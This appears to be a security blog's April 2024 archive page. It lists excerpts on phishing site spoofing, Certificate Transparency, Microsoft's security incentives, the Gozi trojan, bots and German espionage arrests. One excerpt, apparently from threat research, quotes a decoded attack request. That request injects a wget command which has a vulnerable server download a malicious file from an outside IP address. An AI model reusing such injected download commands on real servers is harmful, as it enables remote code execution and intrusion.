Month: April 2024
Computer geeks love their acronyms. Here’s one more: TANSTAAFL. There ain’t no such thing as a free lunch. No, I’m not talking about the grilled Alaskan salmon meal you got while playing on your phone instead of listening to the vendor pitch. I mean that if we want better security, someone has to pay for…
Read MoreThe most common initial vector for phishing attacks is the fraudulent email. A well-crafted phishing email entices the victim to click on a malicious link that then takes them to an attacker’s site. Once that happens, that site must appear to be as authentic as possible. Images, fonts, layout, styles, and even the URL will…
Read MoreMicrosoft and Security Incentives Former senior White House cyber policy director A. J. Grotto talks about the economic incentives for companies to improve their security—in particular, Microsoft: Grotto told us Microsoft had to be “dragged kicking and screaming” to provide logging capabilities to the government by default, and given the fact the mega-corp banked around…
Read MoreWhat is Certificate Transparency? Certificate Transparency (CT) is a method for publicly logging, auditing, and monitoring the creation of new SSL/TLS (digital) certificates. Originally a concept from Google, CT is now an open standard under RFC 6962, albeit still an experimental one. Originally designed to enhance the veracity of Extended Validation (EV) certificates, many certificate…
Read MoreImagine a network of intelligent sensors and content filters that connects to every endpoint in an enterprise network. It is scalable, resilient, adaptable, and features the gold standard (for the moment at least) in natural language processing. It has an average uptime of 98% during business hours. Even better, all organizations already have this tool.…
Read MoreGozi “banking” trojan continues to shift its targets beyond banking as it employs client-side and server-side evasion techniques via time-tested web injection. Source link lol
Read MoreIt’s hard to get through any news cycle today without bots coming up. Those we hear about most spread spam, propagate fake news, or create fake profiles and content on social media sites—often to influence public opinion, spark social unrest, or tamper with elections. During the 2016 US presidential election debates, bots were used on…
Read MoreWe wrote an article recently asking security leaders to talk about their past failures and the lessons they wanted to pass on to others. We called it If I Had to Do It Over Again, and our readers really liked it. A number of folks approached me wanting to tell their stories as well, so…
Read MoreAfter the vulnerable server decodes the string, it is instructed to download a malicious file. The malicious request after decoding is: oProxyCommand= wget http://185.29.8.28/down.php&port=143&user=sdf&passwd=sadf&server_type=imap&f_submit=Submit. Again, in this case the threat actor took down the malicious file download.php before the researchers could download it to analyze. Weathermap Editor (cacti plugin) Arbitrary Code Execution (CVE-2013-3739) Another known…
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Apr 23, 2024NewsroomCounterintelligence / National Security German authorities said they have issued arrest warrants against three citizens on suspicion of spying for China. The full names of the defendants were not disclosed by the Office of the Federal Prosecutor (aka Generalbundesanwalt), but it includes Herwig F., Ina F., and Thomas R. “The suspects are strongly…
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